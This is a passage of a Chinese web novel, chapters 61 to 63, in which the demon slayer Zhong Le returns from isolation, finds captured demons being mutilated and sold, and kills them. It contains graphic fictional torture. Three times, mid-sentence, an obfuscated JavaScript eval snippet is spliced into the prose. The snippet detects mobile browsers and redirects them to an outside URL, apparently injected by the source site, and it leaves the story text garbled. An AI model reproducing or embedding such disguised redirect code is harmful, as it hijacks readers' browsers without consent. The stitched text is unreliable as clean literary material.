但为了符合流浪儿的人设,她和他们说,自己流浪多年,很小的时候就没有过过生辰了,一晃多年,她连自己的生辰是哪一天都忘了。 于是极地里的人和妖怪决定,将那天晚上当做她的生辰,为她好好的庆祝一番。 他们做了一桌子大鱼大肉,又温了几壶老酒,在她身边围成个圆圈,一个接一个、一杯接一杯的向她敬酒。 她很快就醉了,摆着手连说不喝了不喝了,于是大家停止敬酒,大笑着玩闹,将她高高的抛起来,又接住。 但没想到,抛了几下后,她吐了。 她跑到门外,今晚吃的东西乱七八糟全部都吐了出来,何得贵被推出来扶她,一看到她那张脸,因酒气而红通通的,显得眼睛更小、嘴唇更厚了。 何得贵就十分怨气,一边连扯带背,一边恨铁不成钢的说:“奶奶哟,你怎长的这么丑啊!” 饶是如此说,但他到底将她照顾的十分妥帖。 这是好梦,钟乐睡的十分安恬。可是后来,她就做了噩梦。 她又梦到了滔天的大火。 大火中,有一个人、手握一把长剑,面无表情的,砍下一颗又一颗人头。 她很害怕,她想逃,可是怎么也逃不出这个人的手掌心。她感到冰凉的剑刃横在自己脖子上,知道自己即将死于非命。但在死之前,她鼓起勇气,想看清这个人的脸。 结果,她怔住了,那张脸,俨然就是她自己。只是那张更加苍白,也更加戾气,眉眼之间俱是冷漠,看不到一丝情,也看不到一丝爱。 钟乐被惊醒了,转头,看到有只美丽的绿色灵蝶在她脸边,不停的用翅膀扑打她。 这是只传音灵蝶。 她说:“谁呀?别打了别打了,我醒了。” “天师?”那边念念生凝重的说道,“我想了很久,有件事还是要告诉你。” 64. 第61章 钟乐将念念生的灵蝶掐散了。 不管是什么事,她都不想再听。 她觉得她连自己都管不好,对其他的事,就更加无能为力了。 可是,念念生实在是个很耐得住性子的人。 他锲而不舍,她掐散一只,他就捏出另一只,而且,还多选在晚上,闹的钟乐睡不好觉。她怒道:“你是不是报复我当初在大半夜吵醒你,和你要化颜咒!” 念念生坚定的说:“不是!我是那么小气的人吗!这次是真的有事,你如果不管,你就别想睡好觉了……” 钟乐一巴掌又把灵蝶拍散了。 后来,她干脆在床上设了一个结界,可是,晚上念念生捏出一只又一只的灵蝶,扑打她的结界,发出砰砰声响,吵的她更睡不好了。 这一日,钟乐继续和往常一样,与鹦鹉说话。 “念念生是真的很烦,对吗?想当初,要是我不把他提拔成斩妖司的医师就好了,唉,那时候就是觉得这个年轻人十分的和气,医术十分不错,草药用的好,还会许多奇奇怪怪又有意思的小法术,可是,没想到他这么啰嗦,就和老太婆一样——你看。” 钟乐一指将那只刚刚出现的灵蝶弹散,无奈的耸耸肩:“他又来了。” 鹦鹉说:“他妈的。” “嗯?”钟乐想了想,乐了:“你也觉得他很烦是吗?” 鹦鹉:“他妈的。” 钟乐点头:“不错!”她给又出现的一只灵蝶回话:“念念生,你他妈的。” 鹦鹉怨气十足的吊尖了嗓子:“我说你,钟乐——你他妈的!” 钟乐:“……” 鹦鹉:“老子忍了很久、很久了!” “……” “你,就是你,钟乐,成天到晚和黄脸婆一样,啰里啰嗦,话永远也说不完!最开始,为了一口吃的,我忍了,可是后来,我实在是忍不了了,即使是为了吃的,我也不愿意再忍了!打开笼子,我要走了,我宁愿饿死在外面,也不愿意每天再听你唠叨了!” “……” 钟乐说:“我不信。” 她自我感觉十分良好,觉得鹦鹉只是在胡说:“你其实不懂说的这些话是什么意思吧,只不过是在学舌。哈哈,哈哈,别说了,吃饭。” “不!”鹦鹉悲愤的说:“我懂,我什么都懂!你不打开笼子,我就、我就咬舌自尽!!!” 尽管钟乐十分怀疑,鹦鹉到底有没有牙齿能够咬断它那条尖尖细细的小舌头,但她到底打开笼子,放它走了。否则,真怕它待着待着待出抑郁,那就不好收拾了。 灵蝶说:“现在剩你一个人了,多么无聊,我可以陪你说说话。” 钟乐说:“滚。” 她把灵蝶又弹散了。 可是,一个人的生活的确十分十分寂寞。 她开始做兵器,做好多好多兵器,可是后来想到这世上已经没有妖,于是又把那些兵器都毁掉了。只留下一把大弓,弓臂是由一棵劈开的青竹弯曲而成,弓弦则是用她以前杀过的那只牛妖、抽出牛筋所做,十分坚韧而又弹性。 她给这把弓起名忘忧,闲暇时,背着忘忧去射箭,一射就是很久。 她想象自己所有的不快乐都凝聚在箭上,然后将箭远远的射出去,心情就会畅快几分。 后来,渐渐的,她有些颠倒白天与黑夜。 因为一个人,没有人会提醒她,睡的晚也没有关系。 更何况,第二天早上醒来,也并不会在暖阳中看到一个关怀她的面孔。睡觉变成了一件没有期待的事。 许多个深夜,她待在茅草屋中发呆,或者大声唱歌,就是不愿睡觉。而等到第二天天亮的时候,她会因为疲倦而无意识的昏睡过去,等到醒来,已是傍晚,夕阳西下,无端寂寥。 她草草做顿饭吃掉,然后在长夜中,继续发呆,或是出门射箭。 这天傍晚,钟乐做了一碟自己擅长的凉拌黄瓜与萝卜,就着两个大馒头吃掉。她已经不再做别的菜了,反正也做不好吃。 吃罢洗碗的时候,她忽然想起,念念生已经有好长一段时间没有捏灵蝶来骚扰她了。 正在这时,茅草屋的门哐哐作响。 钟乐首先是吓了一跳,反应了很久,这里只住着她一个人,可是她现在在洗碗,并没有拍门,那么——就是有人来了?! 这么简单的道理,她却转了这么大一个弯才想通,她觉得自己的脑袋好像因太久不用而有些生锈了。 “谁啊?”她十分警惕,下意识害怕。 “开门!”来人气势汹汹。 钟乐被吓到了,不敢开门,左右瞄瞄,打开立体雕花柜门——周老婆子的东西,现在为她所用了——钻进去躲了起来。并将下面的衣服胡乱往身上盖了几件,心想这样就可以将自己完美的隐藏起来。 “砰!” 念念生知道钟乐在里面,他看到烛光了,可是,没想到她竟然不开门! 一怒之下,念念生一掌拍在门上,却没料到门没有拍开,他的手反而拍痛了。念念生十分尴尬,且十分愤怒,他想了想,取下自己从不离身的大药箱,狠狠一砸。 “砰!!!” 这次门开了。 念念生一眼就看出钟乐躲在衣柜里,他也不着急,冷笑一声,坐下来慢慢等,看她什么时候会出来。 没想到,等了很久很久,钟乐仍旧在里面,一声不吭,一动不动。 她忍得了,念念生忍不了了,一把拉开柜门:“钟乐你到底在搞什么鬼!你可是天师啊!你……”话音戛然而止。 原来钟乐昼夜颠倒,睡眠不足,在柜子里蜷缩一会儿的功夫,竟然已经睡着了。衣服乱七八糟的堆在她身上,看着狼狈又可怜。 念念生叹了口气,到底没叫醒她,将她连拖带拽的放到床上,她睡的很沉,丝毫没有受到外界干扰,甚至还打了两个小小的鼾。 次日早晨,钟乐打个哈欠,从床上爬起来。 她觉得十分神清气爽,好像很久都没有睡过这么舒服的觉了。 这时,念念生拎着一把不知名的草药从门外进来:“睡醒了?” 钟乐霎时瞪大眼就要往柜子里躲,但跑到一半想起念念生已经发现她了,还躲什么躲?于是她尴尬的咳嗽了两声,整理整理仪容,说:“昨晚你找我,有什么事吗?” 话一出口,才发现自己的声音十分沙哑而微弱,这是太久不与人说话的缘故。她硬着头皮,放大声音又重复了一遍。 念念生面无表情的说:“前晚。” 钟乐:“啊?” 念念生:“我是前晚来找你的,你睡了一天两夜。” 钟乐尴尬的:“啊……”她不知道还能说些什么了,干巴巴的揪着自己的衣角,坐立不安。 念念生叹了口气:“你怎么变成这样了?” 钟乐反驳说:“我没有变啊。” 念念生摇头。 她自己或许看不出来,可是,旁人一眼就能看清,面前的这个女子,和三年之前在白帝城斩下妖帝头颅的那个女子,可谓有天壤之别。 她失去了她的神采,失去了她的锋芒,失去了她的意气风发。甚至,她失去了她的纤细,变得和萝卜一样,十分臃肿。 念念生恨铁不成钢的说:“每天就吃冷馒头和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321726|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萝卜黄瓜,也能将你吃胖?” 钟乐心虚的:“我是只吃馒头和冷菜,但是,我一天吃七顿……” 念念生无语了,彻底无语了。 他被她打败,冷冷的说:“你等着!” 他用各种各样说不出名字的草药给她熬了一碗粥,十分浓稠软糯,每一口都带着淡淡的药草的清香和苦涩,但又不只是苦,回味是甘的。 钟乐喝的十分顺畅,咕嘟咕嘟干掉一碗,有心想喝第二碗,但偷瞄了一眼念念生,将碗又放下了。 念念生:“要喝就去喝。” “哎,哎!”钟乐立马喜笑颜开的又盛了一碗,她已经太久没有吃过冒着热气的饭了。 钟乐本以为,念念生是好心给自己做早饭,但没想到,喝完这顿粥后没多久,她就开始腹痛难忍,一遍又一遍的去茅厕。 她悲愤大喊:“你给我下了什么药!” 念念生徐徐的饮一口清茶:“不用谢。” 钟乐:“???” 念念生:“那些都是减肥的草药,不出一日,你就能和从前一样了。” 钟乐:“我不想回到从前,从前有什么好——”她的肚子又开始剧痛,匆匆忙忙又跑去茅厕了。 果然,这一日下来,钟乐飞速消瘦,脸颊两旁圆乎乎的肉不见了,肚子上的一圈赘肉也不见了,胳膊腿儿,也都纤细了起来,不再累赘。 念念生十分满意,又问:“你的剑呢?” 瘦是瘦了,但钟乐已经被折磨的奄奄一息,她有气无力的瘫在床上:“丢了。” “丢去哪儿了?” 钟乐说:“你别费力气了,我已经和以前完全不一样了,不要再妄想找到从前的那个我。” 念念生:“你终于承认你变了?” 钟乐不吭声。 念念生来回兜了几个圈子,神情渐渐严肃。他们需要一个强大的、且深得民心的人,来挽回眼前的局面。而这个人如果存在于世上的话,那一定就是她了。 “妖并没有死绝,现在这世上,仍有许多妖。” 钟乐虽然没有动,但她的眼睛霎时睁大了。 “你先冷静,妖并没有死绝,并不是指妖怪在人间泛滥,相反,他们完全活在我们的掌控之下。但是,衡阳有些太过分了。”念念生踱着步,心烦意乱的说。 “到底是怎么回事?”钟乐声音被压着,闷闷的。 “你离开这里,出来看一看吧,你就全部懂得了。我本来,并不对你抱什么期望,因为你其实和衡阳一样过分,甚至比他更过分。可是,有一个人告诉我,你变了,变得善良和柔软了。” “……是吗?谁这样告诉你?” 念念生从袖子中拿出一个毛茸茸的小草团子,钟乐叫起来:“你!” 小草团子太小了,当初她杀极地众妖的时候,将它给忘了。 念念生说:“决定权在你手中,钟乐。” “但我真的很希望,有朝一日可以再见到你。” 他离开了,将草团子留了下来。 钟乐瞪着草团子,凶巴巴的说:“过来!” 草团子大大的眼睛中充满泪水,但还是很勇敢的蹦跶到她面前。钟乐说:“你不怕我?我一只手就可以捏死你。” 草团子说:“怕,但我觉得你和以前不一样了,你不再那么狠心了。” 钟乐沉默了一会儿,说:“你不恨我?” 草团子说:“恨,但是只有你,可以改变现在这一切了。” 钟乐仰面朝天,在床上瘫了一会儿,忽然咬牙切齿的说了句脏话:“他妈的!” 草团子的眼睛亮了。 65. 第62章 银月高悬,海波摇晃。 钟乐将参商从南海中取了出来,三年了,它没有生锈,也没有褪色,削铁如泥,锋利如初。 他们又遇到了鲛人,这时候钟乐才蓦然想起:鲛人曾委托她在极地中寻找一个小孩,名为小河。 她闭上眼睛想了想,小河,小河…… 极地中是有那么一个小女孩,可是,她早已经将那小女孩的脑袋劈断了。 钟乐对礁石上的鲛人说:“对不起,我……没有找到小河。但是我想,至少在极地中,她是很开心的。她没有受到妖怪的伤害,反而生活在他们的关爱和庇护中。”但最终,竟然是她杀掉了小河。 难道真正的妖怪是她? 鲛人们感谢的点头:“这样,她的母亲就可以放心了。” 钟乐与他们作别,可是,在经过他们的时候,她忽然发现,这些鲛人的鱼尾上都被钻出一个洞,一条捆妖索穿过其中,将他们绑在了礁石上。她大惊:“这是怎么回事?” 当初那位碧蓝色眼睛的女鲛人悲伤的说:“是衡阳宗主。” “宗主?” 小草团子小声说:“他改斩妖司为天地宗,他为天地之宗主,管人,也掌妖。” 钟乐冷笑,他倒是野心勃勃,不亚于拜鬼忧。 这些鲛人被捆妖索绑住,无法再回到海底,只能夜以继日,不停的织锦。风吹日晒下,他们的皮肤变得粗糙,面容也变得憔悴,可是,他们不能停,他们必须不眠不休、在衡阳规定的时间内织好他所要求的鲛锦。 “织好之后,他就会放你们回去?” 鲛人悲伤的摇头:“不,织好旧的,又有新的。不停的织锦不是为了获得自由,而是为了让我们活下去。” 鲛人独居于南海,唯一的爱好就是织锦,从不伤人害人,因此,虽然他们是妖,但一般都默认他们并不同于妖。即使是钟乐杀妖的鼎盛时期,她也并没有动过伤害鲛人的念头。 她运转法力,哐哐几下,干脆利落的斩断了捆妖索。 “从今以后,你们不必再为衡阳工作了。” 鲛人怕衡阳再来报复,个个面有犹豫之色,钟乐说:“我是钟乐,我保证,他不会再来找你们的麻烦。” 鲛人们知道她的名号,终于放心了,感激的点点头,围绕她唱了一支绵长动人的歌曲,潜入了海底。 待离开南海,来到其旁的一个小镇,落霞镇时,钟乐彻底明白念念生所说的是什么了。 落霞镇中,有一个商铺,名为“万宝阁”,人流如织,热闹异常。 草团子说:“我们去看看吧。” 只见这万宝阁四面的墙壁都被打造成立柜,一格一格,每一格中都放着一样钟乐闻所未闻、见所未见的东西。 一个着宝蓝色华服的男人,身边带着一个貌美如花的女人。男人“啪”的将三枚沉甸甸的金元宝拍在桌子上。 老板立马殷勤道:“唉,客官,要点什么?” 男人拍了拍女人雪白细腻的脸蛋,眯着眼说道:“有什么东西,是可以让青春永驻的?” 青春永驻?可是这世间哪有这样的东西?钟乐思量,莫非……是念念生的化颜咒? 待容颜苍老的时候,将它变幻的年轻,就可以装作是青春永驻了。 可是,却出乎她的意料,老板眼珠子骨碌碌转了转,转身,搭起一架梯子,将最上面格子中的一个盒子取了下来。那盒子乃紫檀木雕琢,十分精美,老板双手捧着盒子,递至男人面前。 “客官,此物可永葆青春。” 周围人都十分好奇,伸长了脖子。 那男人也乐得炫耀一番,在众人面前打开木盒—— 里面是一颗剔透的白色珠子,珠子外面萦绕着一层淡淡的粉色,而中心则又镶嵌着一粒更小的黑珠。 钟乐知道这是什么了,这是九尾狐的眼珠子! 外面的粉是刚刚剥离下来还带的血迹,中心的黑则是九尾狐的瞳仁! 果然,老板说:“此物为一只修行千年的九尾狐的眼珠,将其含于口中,不仅能使青春长驻,还有养生美颜之功效。” 那女子喜笑颜开,立马将珠子含在了嘴中。 小草团子:“呕。” 钟乐也十分恶心,这珠子看起来虽美,但到底是血肉的眼球,含在嘴中,只怕黏腻又血腥。 果然,那女子含进去便觉得难受,干呕了几声,但又舍不得将它吐出来,硬是憋着气,将它一直噙着。 小草团子悄悄问:“这东西真的可以使容貌不老吗?” 功效倒的确是有一点。 九尾狐族天生容貌出众,它们的血肉上带着法力,可以滋养人族,使其也变得美貌年轻一些。 但是,这只是短时间的。 因为这眼珠离体之后,所带的法力会一天天流逝、枯萎,最终,成为平平无奇、毫无功效的死物。 作为一个仗义之人,钟乐自然是提醒这男子和女子,这东西离开九尾狐本体,只能维持短短数日的功效。 那男子登时便怒了,骂那老板道:“骗子!”那女子也悻悻然的将眼珠吐了出来。 可是,老板却不慌不忙,指着钟乐道:“这位客官所说的确有理,眼珠离体之后,确实会失去法力与功效。”周围人质疑的声音徒然大了起来,老板却一压手,气定神闲的继续道:“但若是,这眼珠子的主人并没有死呢?” 钟乐一怔。 若是这眼珠的主人并未死,那么这眼珠就算离了体,也仍旧算是活物。 活水,是不会干涸的。 可是,那只失去了眼珠的九尾狐就不好过了。这颗眼珠被剥离后的每一分痛,他都能准确的感知到。可是,他自己却丝毫控制不了这一切。 只见老板拍拍手,几个小二抬着一只盖红绸的笼子,从侧门进来。 小草精急道:“就是她!就是她!” 红绸揭开,原来是只形容凄惨的女九尾狐妖。她抬起头,果然一只眼睛被挖去,黑洞洞的。 “我的眼睛,还给我!”九尾狐感受到了她的眼珠子,凄厉喊道。 她试图施法,可是,这笼子乃是灵铁所铸,在笼子中她是施展不开法力的。并且,为防止意外,她的双手和双腿都被砍去,想动也动不了。 老板说:“诸位放心,我们会好吃好喝的养着她,不会让她死。那眼珠子,也就自然能一直发挥功效了。” 那男人一挥手:“好!买了!”女人开心的抱住他的胳膊不停撒娇。 老板大笑:“爽快!” 又有一个穿着水红色衣裳、面容白皙的男人,他也十分心仪这可以使人年轻貌美的九尾狐眼珠。 “老板,人家也要嘛。” “好说!好说!”老板瞅着他从一个精致的荷包中拿出了几枚分量不轻的银锭子后,立马满面笑容,拿过一把匕首,一勾一挑,血珠溅落—— 九尾狐另一只眼珠□□脆利落的剜了出来。 九尾狐嘶声惨叫,那男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337781|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则喜气洋洋,翘着兰花指拈住这颗新鲜的眼珠,张唇吮住。 含了一会儿,他觉得有些无趣了,于是试探着,用贝齿咬了一下。 没想到口感他竟十分喜欢,软软滑滑,有点韧性。 “啊——”九尾狐忽然凄厉的尖叫起来。 在场所有人都惊呼一声,原来这男子一时没掌握住力度,将这眼珠咬破了。 汁水爆开,那男子狼狈的掏出手帕去擦,一边擦一遍恶心的呸呸吐。 那老板是个会做生意的,见状,忙说不必担忧,他会新更换一颗好的珠子上来,且不再另算价格。 这下,大家都很满意,在万宝阁挑挑拣拣起来。 钟乐混在人群中,也着实大开了一回眼界。 只见这里的东西,有虎妖的舌头,上面遍布倒刺,轻轻一抹,便能擦去任何污渍。 有犰狳皮做成的铠甲,坚硬无比,刀砍、火烧都无法造成伤害。 还有野猪的獠牙,十分锋利,什么东西都可以轻松刺穿。 有人起哄说,用野猪牙去刺犰狳皮做成的铠甲,被老板打个哈哈,翻篇过去了。 除了一些用妖怪身体上某个部位做成的玩意儿外,这万宝阁还售卖“活宠”。 所谓活宠,就是并不剥夺它们身上的什么,但是,它们整只妖,都会属于它的买主。 钟乐发现作为活宠的妖,脖子上戴着一个灵铁铸成的项圈。项圈上生着尖刺,埋进这些妖的脖子。项圈外接一根铁链,妖怪躁动时,主人只要轻轻一拉链子,这些扎在血肉中的尖刺移动,就会让这妖痛不欲生。 哄哄闹闹一番后,万宝阁格子中的东西几乎都被买走,活宠也卖了不少出去。 钟乐说:“看来这就是念念生所说的过分了。” 妖被人抓住后,被剥夺自由,圈养起来,随意虐待。 小草团子说:“我觉得这样不对。” 钟乐笑一笑:“的确有些。” 她下令的是杀尽他们,可衡阳却是在他们无还击之力的时候虐待他们。 那只被剜掉两只眼睛的九尾狐妖,脸庞上齐刷刷的落下两道鲜血,状如油漆,十分可怖。配上她两个黑洞洞的眼眶,就更觉得渗人了。 钟乐伸手,那格子上一只并不起眼的狼毫笔落在她手心里。 老板笑道:“客官,这看起来虽是个小玩意儿,但它乃黄虎狼妖物的尾毛所做,有化形成幻之功用呢。” 他用这狼毫笔轻轻一点,将一块灰扑扑的石头变成了金灿灿的元宝。 钟乐微笑:“不必了,用不上这么多功效。” 她指尖微动,狼毫笔如箭矢射出,穿透那九尾狐妖的胸口,碎掉了她的妖丹。九尾狐愣了一下,倒在笼中。 钟乐看着老板,冷冷的道:“三日之内,将这里所有妖杀干净,否则,下一个就是你。” 老板冷汗连连,不住赔笑点头。 出了门,钟乐奇怪的道:“你好像并不高兴。” 小草精怔怔道:“可是,她没有做坏事……” “妖就是妖,无情也无爱。但现在我不像从前那般心狠了,所以,我让他们干脆的死掉,不必忍受残酷漫长的折磨。这很仁慈了,不是吗?” 小草团子忽然哭了:“不!你还是不懂!其实他们想活着,其实他们没做过错事!” “钟乐,我看错你了!原来你根本就没有变!” 它飞快的跑远了。 钟乐留在原地,一头雾水。 66. 第63章 落霞镇,寒烟楼。 钟乐很郁闷,非常郁闷。 她只是想好好的吃一顿饭,可是没想到,在这里还是能看到妖怪。 不过当然,不再是张牙舞爪的妖怪,而是沦落为丧家之犬的妖怪。 他们戴着用灵铁铸造的沉重镣铐,来来回回,为各桌客人上菜。 有些客人只是看个新奇,并不做什么,但有的客人却会故意羞辱、甚至虐待他们。 “会唱小曲吗?”钟乐邻桌一个膀大腰圆的男子问道。 那是只树妖,化作人形后十分的貌美,只是骨瘦如柴,手腕脚腕好像快要拖不动沉重的镣铐。她颤抖的答:“不、不会。” “不会,嗯,不会!”那胖男子会一点三脚猫功夫,有心炫技,只见他左手掐住这妖的下颌,右手灵活翻出一把匕首,“噌”的一划,割下了这妖的舌头。 将那湿答答的舌头往地上一摔,狠狠碾成一堆模糊的烂肉,那胖男人得意洋洋道:“既然放着没用,那就别要了吧。” 妖怪痛苦的张大嘴,但是她已经没法再说话了,只有两行泪珠,从睁圆到极致的双眼滚滚落下。 小二自然是不会说什么,反正她是只妖怪,大家伙被妖怪欺负的久了,如今都喜欢看妖怪受欺负。 “反正他们在这里干活,用得上的只有手和脚,要不其他妖怪的舌头也都不要了罢。”那胖男人意犹未尽,大家也俱点头欢呼,且出起更多的主意来。 “耳朵、耳朵是不是也可以不要?” “哎……不行,耳朵得听命令啊。” “不过,一只耳朵似乎也够用了吧?” “按这样说的话,一只眼睛似乎也够用?” “哈哈哈哈哈哈哈……聪明,聪明!” 寒烟楼乱做一团,哭声、哀求声、哈哈大笑声、匕首划入血肉的沉闷声交织在一起。钟乐强忍着吃了几筷子菜,自斟自饮几杯温酒……然后她终于忍不住了。 “都住手。” 这声音不大,却运用了法力,清清楚楚的传入每一个人耳中。 大家望向说话之人,只见是一个明媚的红衣女子,大刀金马的坐在二楼雅座中,有人不满道:“姑娘这是什么意思?” “什么意思?” 一根筷子飞出,准确无误的插入被割去舌头那妖的胸口,碎了她的妖丹。 寂静半晌,有人认出她了:“这是天师!!!” “啊?天师?” “天师不是在极地吗?” “她回来了?” “不错,我回来了。”钟乐走至二楼栏杆,环顾四周,道:“诸位,我杀妖是因为妖该死,他们活着一天,我们的危险就存在一天。可是今日诸位此举,是为了什么?” 无人回答,钟乐说:“虐待他们,可以让我们得到什么好处?得到心理上变态的快感?这是好处吗?这是必须的吗?如果这样的话,我们和妖又有何分别?我们的心去了哪里,我们的情去了哪里?” 一众人讷讷的低下了头,钟乐说:“所以,仁慈一些,杀了他们。” 那些妖怪们一听这话,哭喊的更加厉害了。钟乐十分的不明所以,她如此仁慈,他们反倒不乐意了。 她一个又一个将这里的妖怪杀死。有一只妖被砍了一剑后头颅竟未完全掉下,尚还和半边脖子连在一起,钟乐挑挑眉,想再补一剑,那妖却泪流满面的道:“求求你,放了我吧,我从来没有做过错事!我想活着,我只是想活着啊!求……” 钟乐擦去溅落在脸上的血珠:“话真多。” 三年未用参商,如今在寒烟楼大杀一场,找回了三年前握剑的手感,钟乐十分痛快。她心道,果然,我生来就是为了杀妖。 甚至在某一瞬,她生起一个专门圈养妖怪、然后每日杀他们来作乐的想法,那一定很有意思。不过很快,钟乐就心道,罪过罪过,她如今可是变得仁慈了,万不可学了衡阳的做派。 “天、天师……”小二望着满地鲜血狼藉、一颗颗不瞑目的头颅,结结巴巴,“这……我们……” 他本想说,这些死去的虽然是妖,但如今妖成为一种商品,也是需要花钱才能买来的。钟乐今日杀了他们店里上百只妖,应该,给他们赔钱才是。 但钟乐一挑眉梢,小二便什么话也没有了,只余战战兢兢的一句:“多谢天师,多谢天师。” 钟乐很满意的离开寒烟楼,不忘顺手捎走两个大馒头。 习惯真是一种可怕的东西啊。 钟乐走在街上,一边咬着白馒头,一边感慨。 她本以为极地三年,她已经吃厌了馒头,但没想到如今,吃起来最顺口最踏实的仍旧是馒头。 背后有动静,但钟乐毫不在乎,优哉游哉的吃完两个大白馒头,拍拍手中的馒头渣。而腾腾的杀气也恰在此时到达,钟乐反手将参商的剑柄一拍,“扑哧”一声,利剑便没入血肉。 背后那个人僵住了,而钟乐将参商抽回,甩落上面的血珠,继续扬长而去。 但走了几步,她觉得不对劲了。 方才那个人,自始至终,怎么一点声音都没发出? 她纳闷的倒退着往回走,看清那张脸的时候,轰隆一声,血液凝固了。 那是一张单纯而明亮的脸,她曾在娑罗村与那张脸初遇,她们有着同样的抱负,杀妖济世,匡扶苍生。但后来,那张脸上显出几分惆怅,再后来又变得坚定,坚定的拒绝了她的邀请,离开斩妖司,离开白帝城,云游捉妖。 “楚欢?怎么、怎么是你?”钟乐一下子就被吓到了。 她杀了楚欢?她怎么会杀了楚欢? 楚欢无奈的苦笑:“阿乐,你回来了。” 不!不!不!不不不不不不不不! 钟乐脑中轰鸣作响,她语无伦次的说:“你这是干什么,你为什么想要杀了我啊……我不想杀你的,我不知道会是你!公冶呢?怎么你一个人在这里?这到底是怎么一回事啊!我怎么会杀了你,我……” 不!她怎么会杀了楚欢??! “阿乐,你已经很强大,这天底下最强大,可是,”泪水缓缓的从楚欢眼角滑下,“你不够慈悲,这也就是……我和公冶离开你的原因。” “世道不是甜的,世道是苦的。可即使很苦,也有许多妖想要活下来。活下来,别无他求,就只是活下来。阿乐,从前他们很厉害的时候,我们所想不也正是如此吗?活下来,什么也不要,就只是……活下来。” 不,不不不不不不不不不不不……钟乐心中只有这一个声音在狂喊,楚欢是她的好友,虽不常常相见,但心中彼此牵挂,她忧虑楚欢就如同楚欢忧虑她,她不想杀了楚欢,不想杀了楚欢的啊! “妖怪很坏,他们屠了白帝城,灭了娑罗村,可是,世上并不是只有黑。我们分别的这三年,我见过许多妖,他们其实并没有做坏事,他们也不过是被卷在人妖二族仇恨的滚滚洪流中,无能为力,身不由己。他们告诉我,他们只是想活着。” 楚欢疲惫的闭上了双眼。 一个个死去的人的面孔飞速浮现在钟乐眼前,隐雀,清灏,南戎,夭夭,山根……再向前,宣离,寻乌镇……她记得那是一个长夜,她一个个切下寻乌镇中凡人的头颅,他们惊慌失措,他们跪地求饶,而她全无感觉,微笑着将一颗颗掉落的头颅捡起来,吹吹上面尘土,重新安上去,将他们做成傀儡。 她以为自己爱人,可其实她并没有多爱,她只是一直在恨,她不懂得爱,她只知道如何去恨。 “楚欢!你别死,你教教我,我该怎么做,我,我该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361322|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么做……” 钟乐泣不成声,可是,楚欢脸上却忽然浮现一抹讽刺的笑容。 钟乐呆了。 只见,“楚欢”的容貌发生了变化,那是一张截然不同、她从来没有见过的脸。苍白,清瘦,她嘲讽的弯起唇角,晃晃手中那支狼毫笔:“原来天师钟乐,也会有被骗的时候。” 钟乐呆呆的望着她,或许应该因被骗而感到愤怒,但是,此刻她只觉劫后余生。 “狼妖。”她苦笑,“我大意了。” 拍拍身上尘土,她站起来:“你的妖丹未碎吧?罢了,我今日就饶你一命。” “慢着。” “什么事?” “钟乐,你不认识我了吗?” 钟乐皱眉,她认识楚欢,可她绝不认识这只狼妖。 狼妖却摇摇头:“可我认识你。” 她堂堂天师,天下谁人不认识?钟乐说:“我知道,所以?” 狼妖又是讽刺的一笑。钟乐:“……你有话直说可以吗?” “你杀了我阿娘。” “啊……”钟乐尴尬了,她杀过的妖那么多,又怎么可能记得其中某一个。 “你杀了我阿娘。”狼妖重复一遍,两行泪水静静的落下。 钟乐突然有些愠怒:“那又如何?我娘也被你们杀了!你是要找我讨命吗!” “可是,杀你娘的并不是我们。我阿娘她从未做过恶,我们生活在森林中,与麋鹿作伴,与飞鸟为友,我们食花蜜,饮山泉,每天的日子过的虽相同,但却很幸福。直到有一日,我听说人间是个很热闹的地方,我想带我阿娘去看看,结果,我们遇到了你。” 钟乐不语,那狼妖说:“我说过要带她看遍人间大川大河,吃遍人间至味美食,我想和她永永远远的相伴,想和她一起去做好多好多有意思的事情。可是,她不在了,死在了你的剑下,我再也没有阿娘了。钟乐,你知道这种人生失去所有的期待和盼望的感觉吗?” 三年了,钟乐终于觉出了一丝后悔。 “怎么办?”她说,“你来杀我?杀吧,我让你三招。” “不。”狼妖却摇头了。 她脸上的嘲讽和恨意渐渐褪去,化为了一种像是期待、又像是恳求的神色。 她恨了钟乐三年,她梦中都在想着杀了钟乐,可是,此刻,她却不这么想了。 钟乐没有爱,她不懂得爱,她杀了隐雀,杀了清灏,或许她曾悲伤过,可是她并不后悔。因为他们是妖,在她的心中,妖本就该死。死了也无谓。 所以今日,狼妖用狼毫笔将自己化为楚欢的模样。既然杀妖不会让钟乐后悔,那么,杀了她在乎的人呢? 